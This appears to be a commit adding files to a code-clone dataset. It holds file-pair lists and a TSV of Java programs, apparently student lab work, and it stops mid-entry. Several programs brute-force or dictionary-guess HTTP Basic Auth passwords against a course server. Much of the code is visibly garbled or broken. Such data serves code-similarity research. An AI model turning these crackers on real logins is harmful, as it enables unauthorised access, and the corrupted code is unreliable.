Upload 8 files

.gitattributes

@@ -53,3 +53,5 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
 *.jpg filter=lfs diff=lfs merge=lfs -text
 *.jpeg filter=lfs diff=lfs merge=lfs -text
 *.webp filter=lfs diff=lfs merge=lfs -text
+Quora_SIM/classification_dataset_train.csv filter=lfs diff=lfs merge=lfs -text
+Quora_SIM/classification_dataset_val.csv filter=lfs diff=lfs merge=lfs -text

Quora_SIM/classification_dataset_train.csv

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:95f1150c30c6de6b573f8790314c7d1f300d5845dbcff784abd29cf28d795bc8
+size 184464799

Quora_SIM/classification_dataset_val.csv

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:897e9c7dc20cdf6678299cfce797190fa0d87201e0841b2a36d1c25380fccc2c
+size 79738347

Quora_SIM/derived_dataset_1_train.csv

@@ -0,0 +1,60 @@
+F1,F2
+218.java,195.java
+086.java,242.java
+216.java,211.java
+224.java,221.java
+190.java,188.java
+017.java,022.java
+258.java,257.java
+105.java,103.java
+243.java,087.java
+258.java,048.java
+150.java,148.java
+250.java,159.java
+140.java,142.java
+106.java,111.java
+216.java,061.java
+024.java,016.java
+182.java,181.java
+243.java,155.java
+059.java,159.java
+250.java,059.java
+153.java,155.java
+033.java,034.java
+051.java,183.java
+258.java,185.java
+233.java,232.java
+049.java,050.java
+113.java,112.java
+090.java,089.java
+003.java,004.java
+087.java,155.java
+107.java,108.java
+212.java,101.java
+257.java,048.java
+246.java,244.java
+006.java,005.java
+051.java,048.java
+070.java,069.java
+107.java,112.java
+193.java,191.java
+043.java,251.java
+145.java,143.java
+023.java,015.java
+137.java,171.java
+202.java,208.java
+052.java,053.java
+062.java,064.java
+086.java,222.java
+047.java,045.java
+258.java,059.java
+087.java,242.java
+183.java,185.java
+008.java,010.java
+048.java,183.java
+084.java,085.java
+119.java,117.java
+243.java,242.java
+094.java,098.java
+235.java,237.java
+258.java,183.java

Quora_SIM/derived_dataset_1_val.csv

@@ -0,0 +1,26 @@
+F1,F2
+136.java,173.java
+146.java,147.java
+086.java,155.java
+158.java,161.java
+108.java,113.java
+079.java,078.java
+201.java,209.java
+051.java,257.java
+108.java,112.java
+133.java,131.java
+183.java,059.java
+086.java,087.java
+021.java,014.java
+051.java,258.java
+030.java,032.java
+175.java,180.java
+238.java,240.java
+153.java,222.java
+222.java,087.java
+107.java,113.java
+044.java,042.java
+222.java,155.java
+228.java,230.java
+174.java,135.java
+086.java,243.java

Quora_SIM/derived_dataset_3_val.tsv

@@ -0,0 +1,2613 @@
+F1	text_1	related_pairs
+136.java	"
+
+
+
+
+
+import java.util.*;
+import java.io.*;
+import java.net.*;
+
+public class MyWatchDogTimer extends TimerTask
+{
+	public void run()
+	{
+	  Runtime rt = Runtime.getRuntime();
+	  Process prss= null;
+	  String initialmd5,presentmd5,finalmd5,temp1;
+          String mesg1 = new String();
+          String subject = new String(""Report of WatchDog"");
+
+	  int i;
+          
+	  try
+          {
+
+              prss = rt.exec(""md5sum first.html"");
+
+              InputStreamReader instre1 = new InputStreamReader(prss.getInputStream());
+              BufferedReader bufread1 = new BufferedReader(instre1);
+		    
+             sw  = bufread1.readLine();
+	      i = finalmd5.indexOf(' ');
+	      initialmd5 = finalmd5.substring(0,i);
+	      System.out.println(""this is of first.html--->""+initialmd5);
+		    
+
+		    
+              prss = rt.exec(""wget -R mpg,mpeg, --output-document=present.html http://www.cs.rmit.edu./students/"");
+
+		    
+              prss = rt.exec(""md5sum present.html"");
+		    
+              InputStreamReader instre2 = new InputStreamReader(prss.getInputStream());
+              BufferedReader bufread2 = new BufferedReader(instre2);
+		    
+	      temp1 = bufread2.readLine();
+	      i = temp1.indexOf(' ');
+	      presentmd5 = temp1.substring(0,i);
+	      System.out.println(""this is of present.html---->""+presentmd5);
+		
+    
+                 if(initialmd5.equals(presentmd5))
+                     System.out.println(""The checksum found using md5sum is same"");
+		 else
+		    {
+		      prss = rt.exec(""diff first.html present.html > diff.html"");
+                      System.out.println("" is different""); 
+                      prss = null;
+                  mesg1 =""php mail.php"";
+		      prss = rt.exec(mesg1);
+		    }   
+
+                   prss = rt.exec(""rm present.*"");
+
+    	     }catch(java.io.IOException e){}
+
+        }
+}		
+"	173.java
+146.java	"import java.net.*;
+import java.util.*;
+
+public class BruteForce {
+
+   public static void main(String[] args) {
+      new CrackAttempt();
+   }
+}
+
+class CrackAttempt {
+   public CrackAttempt() {
+      final int MAX_LENGTH = 3;
+      boolean auth = false;
+      Date  = new Date();
+      boolean morePasswords = true;
+      int passPtr = 0;
+      StringBuffer validChars = new StringBuffer(""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"");
+      char[] password = new char[MAX_LENGTH];
+
+      password[0] = validChars.charAt(0);
+      while (!auth && morePasswords) {
+         String resource = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
+         try {
+            
+            Authenticator.setDefault(new CrackAuth(password));
+            URL url = new URL(resource);
+            HttpURLConnection conn = (HttpURLConnection)url.openConnection();
+            conn.setRequestMethod(""HEAD"");
+            if (conn.getResponseCode() == HttpURLConnection.HTTP_OK) {
+               System.out.println(""cracked with "" + new String(password));
+               auth = true;
+            }
+         } catch (Exception e) {
+            System.out.println("" was  exception: "" + e.getMessage());
+         }
+         int count = passPtr;
+         while (true) {
+            if (password[count] == validChars.charAt(validChars.length() - 1)) {
+               password[count] = validChars.charAt(0);
+               count--;
+            } else {
+               password[count] = validChars.charAt(validChars.indexOf(String.valueOf(password[count])) + 1);
+               break;
+            }
+            if (count < 0) {
+               
+               if (passPtr < MAX_LENGTH - 1) {
+                  passPtr++;
+                  password[passPtr] = validChars.charAt(0);
+               } else {
+                  morePasswords = false;
+               }
+               break;
+            }
+         }
+         
+      } 
+      if (!auth) {
+         System.out.println(""Unable  determine password"");
+      } else {
+          time = (new Date()).getTime() - start.getTime();
+         System.out.println(""it took "" + String.valueOf(time) + "" milliseconds  crack the password"");
+      }
+   }
+}
+
+class CrackAuth extends Authenticator {
+   char[] password;
+   public CrackAuth(char[] password) {
+      this.password = password;
+   }
+
+   protected PasswordAuthentication getPasswordAuthentication()
+   {
+      String user = """";
+      return new PasswordAuthentication(user, password);
+   }
+}
+"	147.java
+086.java	"import java.net.*;
+import java.io.*;
+import java.*;
+
+ public class BruteForce {
+
+   URLConnection conn = null;
+   private static boolean status = false;
+
+   public static void main (String args[]){
+     BruteForce a = new BruteForce();
+     String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"",
+     				 """",
+     				 """"};
+     int attempts = 0;
+     exit:
+     for (int i=0;i<pwdArray.length;i++) {
+		 for (int j=0;j<pwdArray.length;j++) {
+			 for (int k=0;k<pwdArray.length;k++) {
+				 if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;
+				 if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;
+				 inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];
+				 attempts++;
+     			 a.doit(inp);
+  
+  				 if (status) {
+					 System.out.println(""Crrect password is: "" + inp[2]);
+					 System.out.println(""Number of attempts = "" + attempts);
+					 break exit;
+			 	 }
+     			 inp[2] = """";
+		 	 }
+	 	 }
+      }
+     }
+
+   public void doit(String args[]) {
+     
+     try {
+       BufferedReader in = new BufferedReader(
+           new InputStreamReader
+              (connectURL(new URL(args[0]), args[1], args[2])));
+       String line;
+       while ((line = in.readLine()) != null) {
+           System.out.println(line);
+           status = true;
+           }
+       }
+     catch (IOException e) {
+   
+       }
+     }
+
+   public InputStream connectURL (URL url, String uname, String pword)
+        throws IOException  {
+     conn = url.openConnection();
+     conn.setRequestProperty (""Authorization"",
+     userNamePasswordBase64(uname,pword));
+     conn.connect ();
+     return conn.getInputStream();
+     }
+
+   public String userNamePasswordBase64(String username, String password) {
+     return "" "" + base64Encode (username + "":"" + password);
+     }
+
+   private final static char pwdArray [] = {
+	        'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
+	        'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
+	        'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
+	        'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
+	        'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
+	        'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
+	        'W', 'X', 'Y', 'Z', ' '
+  };
+
+   private final static char base64Array [] = {
+       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
+       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
+       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
+       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
+       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
+       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
+       'w', 'x', 'y', 'z', '0', '1', '2', '3',
+       '4', '5', '6', '7', '8', '9', '+', '/'
+  };
+
+   private static String base64Encode (String string)    {
+     String encodedString = """";
+     byte bytes [] = string.getBytes ();
+     int i = 0;
+     int pad = 0;
+     while (i < bytes.length) {
+       byte b1 = bytes [i++];
+       byte b2;
+       byte b3;
+       if (i >= bytes.length) {
+          b2 = 0;
+          b3 = 0;
+          pad = 2;
+          }
+       else {
+          b2 = bytes [i++];
+          if (i >= bytes.length) {
+             b3 = 0;
+             pad = 1;
+             }
+          else
+             b3 = bytes [i++];
+          }
+       byte c1 = (byte)(b1 >> 2);
+       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
+       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
+       byte c4 = (byte)(b3 & 0x3f);
+       encodedString += base64Array [c1];
+       encodedString += base64Array [c2];
+       switch (pad) {
+        case 0:
+          encodedString += base64Array [c3];
+          encodedString += base64Array [c4];
+          break;
+         case 1:
+          encodedString += base64Array [c3];
+          encodedString += ""="";
+          break;
+        case 2:
+          encodedString += ""=="";
+          break;
+        }
+       }
+       return encodedString;
+   }
+ }
+
+"	"155.java	087.java	243.java"
+158.java	"
+import java.net.*;
+import java.io.*;
+
+
+public class BruteForce {
+
+  public static void main(String args[])
+  {
+  int i,j,k;
+  String pass = new String();
+  String UserPass = new String();
+  String status = new String();
+  String status1 = new String();
+  BasicAuth auth = new BasicAuth();
+  URLConnection  connect;
+   int start,end,diff;
+
+  try {
+               URL url = new URL (""http://sec-crack.cs.rmit.edu./SEC/2/"");
+
+           start  =System.currentTimeMillis();
+
+
+              DataInputStream dis ;
+
+      for (i=0;i<=58;i++)
+      {
+
+        for (j=0;j<=58;j++)
+        {
+
+          for (k=1;k<=58;k++)
+          {
+
+           
+
+
+            if (i !=0)
+            {
+
+
+              pass = """" + (char)(k+64) + (char)(j+65) + (char)(i+64);
+
+              if ((i+64) >=91 && (i+64) <=96)
+              break;
+
+               if ((j+65) >=91 && (j+65) <=96)
+              break;
+
+               if ((k+64) >=91 && (k+64) <=96)
+              continue;
+
+
+              UserPass= auth.encode("""",pass);
+
+              connect = url.openConnection();
+              connect.setDoInput(true);
+              connect.setDoOutput(true);
+
+              connect.setRequestProperty(""Host"",""sec-crack.cs.rmit.edu."");
+              connect.setRequestProperty(""Get"",""/SEC/2/ HTTP/1.1"");
+              connect.setRequestProperty(""Authorization"","" "" + UserPass);
+              connect.connect();
+
+              status =connect.getHeaderField(0);
+              status1 = status.substring( 9,12);
+
+              if (status.equalsIgnoreCase(""HTTP/1.1 200 OK""))
+              {
+              System.out.println(""Password is "" + pass);
+              end=System.currentTimeMillis();
+              diff= end - start;
+              System.out.println(""Time Taken = "" + (diff/1000) + "" sec"" );
+              System.exit(0);
+              }
+              ((HttpURLConnection)connect).disconnect();
+              connect = null;
+            }
+
+
+
+
+          }
+        }
+      }
+
+      System.out.println("" match found"");
+      connect = null;
+
+     }
+
+    catch (MalformedURLException malerr)
+  {
+  System.err.println(""Unable  Open URL"" + malerr);
+  }
+
+  catch (Exception ioerr)
+  {
+  System.err.println(""Unable  retrive URL"" + ioerr);
+  }
+
+
+
+
+  }
+}"	161.java
+108.java	"
+
+
+
+
+import java.io.InputStream;
+import java.util.Properties;
+
+import javax.naming.Context;
+import javax.naming.InitialContext;
+import javax.rmi.PortableRemoteObject;
+import javax.sql.DataSource;
+
+
+
+public class DictionaryPropertyHelper {
+
+	private static Properties dictProps;
+
+
+
+	public DictionaryPropertyHelper() {
+	}
+
+
+	
+	public static String getProperty(String pKey){
+		try{
+			initProps();
+		}
+		catch(Exception e){
+			System.err.println(""Error init'ing the dictionary Props"");
+			e.printStackTrace();
+		}
+		return dictProps.getProperty(pKey);
+	}
+
+
+	private static void initProps() throws Exception{
+		if(dictProps == null){
+			dictProps = new Properties();
+
+			InputStream fis =
+				DictionaryPropertyHelper.class.getResourceAsStream(""/dictionary.properties"");
+			dictProps.load(fis);
+		}
+	}
+}
+
+"	"113.java	112.java"
+079.java	"import java.util.*;
+import java.net.*;
+import java.io.*; 
+
+public class Dictionary
+{
+    boolean connected = false;
+    int counter;
+   
+    Vector words = new Vector();
+    
+    Dictionary()
+    {
+        counter = 0;
+        this.readWords(); 
+        this.startAttack();
+    }   
+    
+    public void startAttack()
+    {
+        while(counter<this.words.size())
+        {
+           connected = sendRequest();
+           if(connected == true)
+           {
+             System.out.print(""The password is: "");
+             System.out.println((String)words.elementAt(counter-1));
+             counter = words.size();
+           }
+        }
+    }
+    
+
+    public void readWords()
+    {
+        String line;
+
+        try
+        {
+            BufferedReader buffer = new BufferedReader(
+                    new FileReader(""/usr/share/lib/dict/words""));
+         
+            line = buffer.readLine();
+
+            while(line != null)
+            {
+
+                if(line.length() <= 3)
+                {
+                    words.addElement(line);
+                }
+
+                line = buffer.readLine();
+            }
+        }
+        catch(IOException e){}
+    }
+    
+    public boolean sendRequest()
+    {
+        Authenticator.setDefault (new MyAuthenticator ());
+        try 
+        {
+        	
+        	URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
+                HttpURLConnection urlConn = (HttpURLConnection)url.openConnection();
+                urlConn.connect();
+                if(urlConn.getResponseMessage().equalsIgnoreCase(""OK""))
+                {
+                   return true;
+                }
+               
+        } 
+        catch (IOException e) {}
+        
+        return false;
+    }
+    
+     public static void main(String [] args)
+     {
+         Dictionary dictionary = new Dictionary();
+     }
+   
+   
+     class MyAuthenticator extends Authenticator {
+       
+        protected PasswordAuthentication getPasswordAuthentication() {
+            String username = """";
+            String password = (String)words.elementAt(counter);
+            counter++;
+            return new PasswordAuthentication(username, password.toCharArray());
+       }
+    }
+}
+"	078.java
+201.java	"
+import java.net.*;
+import java.io.*;
+import java.Ostermiller.util.*;
+import java.util.*;
+
+public class MyClient1 implements Runnable
+{
+   private String hostname;
+   private int port;
+   private String filename;
+   private Socket s;
+   private int n;
+   private InputStream sin;
+   private OutputStream sout;
+   private int dif;
+   private String myPassword;
+   private int status;
+   private int myTime;
+   private Dictionary myMaster;
+   
+
+   public MyClient1(Dictionary dic, int num, int myPort, String password)
+   {
+      
+      hostname = new String(""sec-crack.cs.rmit.edu."");
+      port = myPort;
+      status = 0;
+      myTime = 0;
+      myPassword = password;
+      filename = new String(""/SEC/2/"");
+      myMaster = 0;
+      n = num;
+      dif = 0;
+      
+   }
+   public  getDif()
+   {
+      return dif;
+   }
+   public int getStatus()
+   {
+      return status;
+   }
+   public void run() 
+   {
+      String inputLine;
+      String[] tokens = new String[5];
+      int i;
+       myTime = 0;
+       finish = 0;
+      start = System.currentTimeMillis();
+      try
+      {
+         s = new Socket( hostname, port);
+      }catch( UnknownHostException e)
+      {
+         System.out.println(""'t find host"");
+      }catch( IOException e)
+       {
+          System.out.println(""Error connecting  host ""+n);
+	  return;
+       }
+      while(s.isConnected() == false)
+         continue;
+      
+      finish = System.currentTimeMillis();
+      dif = finish - start;
+      
+      try
+      {
+        sin  = s.getInputStream();
+      }catch( IOException e)
+       {
+          System.out.println(""'t open stream"");
+       }
+      BufferedReader fromServer = new BufferedReader(new InputStreamReader( ));
+      try
+      {
+         sout = s.getOutputStream();
+      }catch( IOException e)
+       {
+          System.out.println(""'t open stream"");
+       }
+      
+      PrintWriter toServer = new PrintWriter( new OutputStreamWriter( sout));
+      toServer.print(""GET ""+filename+"" HTTP/1.0\r\n""+""Authorization:  ""+Base64.encode(""""+"":""+myPassword)+""\r\n\r\n"");
+      toServer.flush();
+      
+      try
+      {
+         inputLine = fromServer.readLine();
+      }catch( IOException e)
+       {
+          System.out.println(""'t open stream"");
+	  inputLine = null;
+       }
+      
+      java.util.StringTokenizer  = new java.util.StringTokenizer( inputLine, "" "");
+      i = 0;
+      while(bf.hasMoreTokens())
+      {
+         tokens[i] =bf .nextToken();
+	 i++;
+      }
+      status = Integer.parseInt( tokens[1]);
+      myTime = System.currentTimeMillis();
+      if( status == 200)
+      {
+         System.out.println(""Ok ""+myPassword);
+	 myMaster.retire( this);
+      }
+     
+      toServer.send();
+      try
+      {
+         fromServer.recieve();
+      }catch( IOException e)
+       {
+          System.out.println(""'t open stream"");
+       }
+      try
+      {
+         s.connect();
+      }catch( IOException e)
+       {
+          System.out.println(""'t  connection"");
+	  System.exit(0);
+       }
+   }
+   public  getTime()
+   {
+      return myTime;
+   }
+   
+}
+"	209.java
+051.java	"import java.io.*;
+import java.net.*;
+import java.*;
+import java.Runtime.*;
+import java.Object.*;
+import java.util.*;
+import java.util.StringTokenizer;
+
+public class Dictionary 
+{
+  String uname = """";
+  String pword = ""null"";
+  Vector v = new Vector();
+   int runTime;
+  public void doConnect(String connect, int num)
+  {
+    String  = connect;
+    
+    try
+     {
+       URL secureSite = new URL();
+       URLConnection connection = secureSite.openConnection();
+       if (uname != null || pword != null)
+	  {
+	   
+	    for(int i=num; i<v.size(); i++)
+	    {
+	      pword = (String)v.elementAt(i);
+	      String up = uname + "":"" + pword;
+            String encoding;
+            try
+		{
+		  connection.misc.BASE64Encoder encoder = (con.misc.BASE64Encoder) Class.forName("".misc.BASE64Encoder"").newInstance();
+		  encoding = encoder.encode (up.getBytes());
+		 
+           }
+	     catch (Exception ex) 
+            {
+		  Base64Converter encoder = new Base64Converter();
+		  System.out.println(""in catch"");
+              encoding = encoder.encode(up.getBytes());
+           }
+	     connection.setRequestProperty (""Authorization"", "" "" + encoding);
+           connection.connect();
+           if(connection instanceof HttpURLConnection)
+	     {
+	       HttpURLConnection httpCon=(HttpURLConnection)connection;
+             if(httpCon.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED)
+		  {
+		   System.out.println(""Not authorized - check  for details"" + "" -Incorrect Password : "" + pword);
+	         doConnect(i, i+1);
+	       }
+		else
+		 { 
+		  System.out.println(""\n\n\nPassword for HTTP Secure Site by Dictionary Attack:"");
+	        System.out.println( +""\tPassword : ""+ pword);
+
+              runTime = System.currentTimeMillis() - runTime; 
+              System.out.println(""Time taken  crack password (in seconds)""+"" : ""+ runTime/1000+""\n""+ ""Tries taken  crack password : ""+ i);
+	        System.exit(0);
+	      }
+	    }
+	  }
+      }
+    }
+    catch(Exception ex)
+    {
+      ex.printStackTrace();
+    }
+  }
+  public Vector getPassword()
+  {
+    try
+    {
+      ReadFile  rf = new ReadFile();
+      rf.loadFile();
+      v = rf.getVector();
+    }
+    catch(Exception ex)
+    {
+      ex.printStackTrace();
+    }
+    return v;
+  } 
+  public void setTimeTaken( int timetaken)
+  {
+    runTime = timetaken;
+  }   
+  public static void main ( String args[] ) throws IOException 
+  {
+    
+     runTime1 = System.currentTimeMillis();     
+    Dictionary newDo = new Dictionary();
+    newDo.setTimeTaken(runTime1);
+    newDo. getPassword();
+    String site = ""http://sec-crack.cs.rmit.edu./SEC/2/"";
+    newDo.doConnect(site, 0);
+    
+  }  
+  
+}
+
+class  Base64Converter
+      {
+  
+          public final char [ ]  alphabet = {
+              'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
+              'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
+              'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
+              'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
+              'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
+              'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
+              'w', 'x', 'y', 'z', '0', '1', '2', '3',   
+              '4', '5', '6', '7', '8', '9', '+', '/' }; 
+  
+  
+          public String  encode ( String  s )
+          {
+              return encode ( s.getBytes ( ) );
+          }
+  
+          public String  encode ( byte [ ]  octetString )
+          {
+              int  bits24;
+              int  bits6;
+  
+              char [ ]  out
+                = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
+  
+              int outIndex = 0;
+              int i        = 0;
+  
+              while ( ( i + 3 ) <= octetString.length ) {
+                  
+                  bits24=( octetString [ i++ ] & 0xFF ) << 16;
+                  bits24 |=( octetString [ i++ ] & 0xFF ) << 8;
+  
+                  bits6=( bits24 & 0x00FC0000 )>> 18;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+                  bits6 = ( bits24 & 0x00000FC0 ) >> 6;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+                  bits6 = ( bits24 & 0x0000003F );
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+              }
+  
+              if ( octetString.length - i == 2 )
+              {
+                  
+                  bits24  = ( octetString [ i     ] & 0xFF ) << 16;
+                  bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8;
+                  bits6=( bits24 & 0x00FC0000 )>> 18;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+                  bits6 = ( bits24 & 0x00000FC0 ) >> 6;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+  
+                  
+                  out [ outIndex++ ] = '=';
+              }
+              else if ( octetString.length - i == 1 )
+              {
+                  
+                  bits24 = ( octetString [ i ] & 0xFF ) << 16;
+                  bits6=( bits24 & 0x00FC0000 )>> 18;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+                  bits6 = ( bits24 & 0x0003F000 ) >> 12;
+                  out [ outIndex++ ] = alphabet [ bits6 ];
+  
+                  
+                  out [ outIndex++ ] = '=';
+                  out [ outIndex++ ] = '=';
+              }
+  
+              return new String ( out );
+          }
+       }
+  
+  
+"	"257.java	258.java"
+108.java	"
+
+
+
+
+import java.io.InputStream;
+import java.util.Properties;
+
+import javax.naming.Context;
+import javax.naming.InitialContext;
+import javax.rmi.PortableRemoteObject;
+import javax.sql.DataSource;
+
+
+
+public class DictionaryPropertyHelper {
+
+	private static Properties dictProps;
+
+
+
+	public DictionaryPropertyHelper() {
+	}
+
+
+	
+	public static String getProperty(String pKey){
+		try{
+			initProps();
+		}
+		catch(Exception e){
+			System.err.println(""Error init'ing the dictionary Props"");
+			e.printStackTrace();
+		}
+		return dictProps.getProperty(pKey);
+	}
+
+
+	private static void initProps() throws Exception{
+		if(dictProps == null){
+			dictProps = new Properties();
+
+			InputStream fis =
+				DictionaryPropertyHelper.class.getResourceAsStream(""/dictionary.properties"");
+			dictProps.load(fis);
+		}
+	}
+}
+
+"	"113.java	112.java"
+133.java	"
+import java.net.*;
+import java.io.*;
+
+
+public class Dictionary
+{
+   private String myUsername = """";
+   private String myPassword = """";
+   private String urlToCrack = ""http://sec-crack.cs.rmit.edu./SEC/2"";
+
+
+   public static void main (String args[])
+   {
+      Dictionary d = new Dictionary();
+   }
+
+   public Dictionary()
+   {
+      generatePassword();
+   }
+
+   
+
+   public void generatePassword()
+   {
+      try
+      {
+         BufferedReader  = new BufferedReader(new FileReader(""/usr/share/lib/dict/words""));
+
+         
+         {
+            myPassword = bf.readLine();
+            crackPassword(myPassword);
+         } while (myPassword != null);
+      }
+      catch(IOException e)
+      {    }
+   }
+
+
+  
+
+  public void crackPassword(String passwordToCrack)
+  {
+     String data, dataToEncode, encodedData;
+
+     try
+     {
+         URL url = new URL (urlToCrack);
+
+         
+
+         dataToEncode = myUsername + "":"" + passwordToCrack;
+
+         
+
+         encodedData = new bf.misc.BASE64Encoder().encode(dataToEncode.getBytes());
+
+         URLConnection urlCon = url.openConnection();
+         urlCon.setRequestProperty  (""Authorization"", "" "" + encodedData);
+
+         InputStream is = (InputStream)urlCon.getInputStream();
+         InputStreamReader isr = new InputStreamReader(is);
+         BufferedReader bf  = new BufferedReader (isr);
+
+          
+          {
+             data = bf.readLine();
+             System.out.println(data);
+             displayPassword(passwordToCrack);
+         } while (data != null);
+      }
+      catch (IOException e)
+      {   }
+   }
+
+
+   public void displayPassword(String foundPassword)
+   {
+      System.out.println(""\nThe cracked password is : "" + foundPassword);
+      System.exit(0);
+   }
+}
+
+
+"	131.java
+183.java	"
+
+import java.awt.*;
+import java.awt.event.*;
+import java.io.*;
+import java.net.*;
+
+public class BruteForce extends Frame implements ActionListener {
+	private TextField tf = new TextField();
+    private TextArea  ta = new TextArea();
+
+  	public void actionPerformed (ActionEvent e) {
+		String s = tf.getText();
+		String login="""";
+
+		if (s.length() != 0)
+		{
+			char symbol = 'A';
+
+			login="":"";
+			
+			for(int i = 0; i < 3; i++)
+			{
+				symbol = (char)(57.0 * Math.random() + 65);
+
+				if(symbol>90 && symbol<97){
+					i--;
+					continue;
+				}
+				login=login+symbol;
+
+			}
+
+		    ta.setText (fetchURL (s,login));
+		    System.out.println(""runing""+login);
+		}while(ta.getText().compareTo(""Invalid URL"")!=0 || ta.getText().compareTo(""Error  URL"")!=0);
+
+		System.out.println(""The password is: ""+login);
+	}
+
+	public BruteForce() {
+		super (""SEC-CRACK"");
+
+	    
+	    add (tf, BorderLayout.LEFT);
+	    ta.setEditable(false);
+	    add (ta, BorderLayout.CENTER);
+	    tf.addActionListener (this);
+
+	    addWindowListener (new WindowAdapter() {
+	       public void windowClosing (WindowEvent e) {
+	         dispose();
+	         System.exit(0);
+	       }
+	     });
+	}
+
+	private String fetchURL (String urlString,String login) {
+		StringWriter sw = new StringWriter();
+	    PrintWriter  pw = new PrintWriter();
+
+	    try {
+	       URL url = new URL (urlString);
+
+	     
+	
+	       
+
+	      
+	       String encoding = new url.misc.BASE64Encoder().encode (login.getBytes());
+
+	      
+	       URLConnection uc = url.openConnection();
+	       uc.setRequestProperty  (""Authorization"", "" "" + encoding);
+	       InputStream content = (InputStream)uc.getInputStream();
+	       BufferedReader in   =
+	         new BufferedReader (new InputStreamReader (content));
+	       String line;
+	       while ((line = in.readLine()) != null) {
+	         pw.println (line);
+	       }
+	     } catch (MalformedURLException e) {
+	       pw.println (""Invalid URL"");
+	     } catch (IOException e) {
+	       pw.println (""Error  URL"");
+	     }
+	     return sw.toString();
+	}
+
+
+	public static void  main(String args[]) {
+		Frame f = new BruteForce();
+	    f.setSize(300, 300);
+	    f.setVisible (true);
+	}
+}
+
+
+
+
+class  Base64Converter
+{
+	public static final char [ ]  alphabet = {
+        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
+        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
+        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
+        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
+        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
+        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
+        'w', 'x', 'y', 'z', '0', '1', '2', '3',   
+        '4', '5', '6', '7', '8', '9', '+', '/' }; 
+
+
+     public static String  encode ( String  s )
+     {
+        return encode ( s.getBytes ( ) );
+     }
+
+     public static String  encode ( byte [ ]  octetString )
+     {
+        int  bits24;
+        int  bits6;
+
+       char [ ]  out
+          = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
+
+       int outIndex = 0;
+        int i        = 0;
+
+       while ( ( i + 3 ) <= octetString.length )
+       {
+          
+          bits24  = ( octetString [ i++ ] & 0xFF ) << 16;
+          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  8;
+          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  0;
+
+         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x0003F000 ) >> 12;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x00000FC0 ) >> 6;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x0000003F );
+          out [ outIndex++ ] = alphabet [ bits6 ];
+       }
+
+       if ( octetString.length - i == 2 )
+       {
+          
+          bits24  = ( octetString [ i     ] & 0xFF ) << 16;
+          bits24 |= ( octetString [ i + 1 ] & 0xFF ) <<  8;
+
+          bits6 = ( bits24 & 0x00FC0000 ) >> 18;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x0003F000 ) >> 12;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x00000FC0 ) >> 6;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+
+         
+          out [ outIndex++ ] = '=';
+        }
+        else if ( octetString.length - i == 1 )
+        {
+          
+          bits24 = ( octetString [ i ] & 0xFF ) << 16;
+
+          bits6 = ( bits24 & 0x00FC0000 ) >> 18;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x0003F000 ) >> 12;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+
+          
+          out [ outIndex++ ] = '=';
+          out [ outIndex++ ] = '=';
+        }
+
+       return new String ( out );
+     }
+}
+
+"	059.java
+086.java	"import java.net.*;
